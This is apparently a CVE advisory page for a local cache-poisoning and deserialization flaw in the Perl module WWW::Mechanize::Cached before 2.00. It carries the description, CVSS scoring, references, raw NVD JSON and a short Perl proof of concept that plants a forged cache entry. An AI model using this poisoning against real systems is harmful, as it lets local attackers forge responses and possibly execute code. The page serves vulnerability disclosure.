CVE-2026-8612

Description

WWW::Mechanize::Cached versions before 2.00 for Perl deserialize cached HTTP responses from a world-writable on-disk cache, enabling local response forgery and code execution. With no explicit cache backend, WWW::Mechanize::Cached constructs a default Cache::FileCache under /tmp/FileCache without overriding the backend's documented directory_umask of 000, so the cache root and its subdirectories are created mode 0777 with no sticky bit. Cache entries are named by sha1_hex of the request and read back through Storable::thaw on the next cache hit. A local attacker with write access to the cache tree can replace a victim's cache entry for a known URL with an arbitrary frozen HTTP::Response blob, causing the victim's next get() of that URL to return attacker controlled response bytes. Because the bytes are passed to Storable::thaw, a victim process that has loaded any class with a side-effectful STORABLE_thaw, DESTROY, or overload hook can be escalated to arbitrary code execution.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WWW::Mechanize::Cached < 2.00

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/perl
# PoC for CVE-2026-8612: Local Cache Poisoning
use strict;
use warnings;
use Storable qw(freeze);
use Digest::SHA qw(sha1_hex);
use File::Path qw(make_path);

my $target_url = 'http://example.com/target';
my $cache_dir = '/tmp/FileCache';
my $cache_key = sha1_hex($target_url);

# Malicious payload to be deserialized
my $malicious_data = {
    _rc => 200,
    _content => '<p>Malicious content</p>',
    # In a real exploit, this would contain an object triggering a gadget chain
};

my $frozen = freeze($malicious_data);

# Emulate attacker writing to the world-writable cache
make_path($cache_dir, { mode => 0777 });
open my $fh, '>', "$cache_dir/$cache_key" or die $!;
binmode $fh;
print $fh $frozen;
close $fh;

print "PoC: Cache poisoned at $cache_dir/$cache_key\n";

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8612
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8612
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8612/
[4] VulDB https://vuldb.com/cve/CVE-2026-8612
[5] https://github.com/libwww-perl/WWW-Mechanize-Cached/commit/b821647deeedf83490ebc1db91d959d942300ce0.patch
[6] https://github.com/libwww-perl/WWW-Mechanize-Cached/pull/36
[7] https://metacpan.org/release/OALDERS/WWW-Mechanize-Cached-2.00/changes
[8] http://www.openwall.com/lists/oss-security/2026/05/15/1

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8612", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-15T02:16:23.843", "lastModified": "2026-05-15T15:16:56.763", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWW::Mechanize::Cached versions before 2.00 for Perl deserialize cached HTTP responses from a world-writable on-disk cache, enabling local response forgery and code execution.\n\nWith no explicit cache backend, WWW::Mechanize::Cached constructs a default Cache::FileCache under /tmp/FileCache without overriding the backend's documented directory_umask of 000, so the cache root and its subdirectories are created mode 0777 with no sticky bit. Cache entries are named by sha1_hex of the request and read back through Storable::thaw on the next cache hit.\n\nA local attacker with write access to the cache tree can replace a victim's cache entry for a known URL with an arbitrary frozen HTTP::Response blob, causing the victim's next get() of that URL to return attacker controlled response bytes. Because the bytes are passed to Storable::thaw, a victim process that has loaded any class with a side-effectful STORABLE_thaw, DESTROY, or overload hook can be escalated to arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}, {"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://github.com/libwww-perl/WWW-Mechanize-Cached/commit/b821647deeedf83490ebc1db91d959d942300ce0.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://github.com/libwww-perl/WWW-Mechanize-Cached/pull/36", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/OALDERS/WWW-Mechanize-Cached-2.00/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/15/1", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}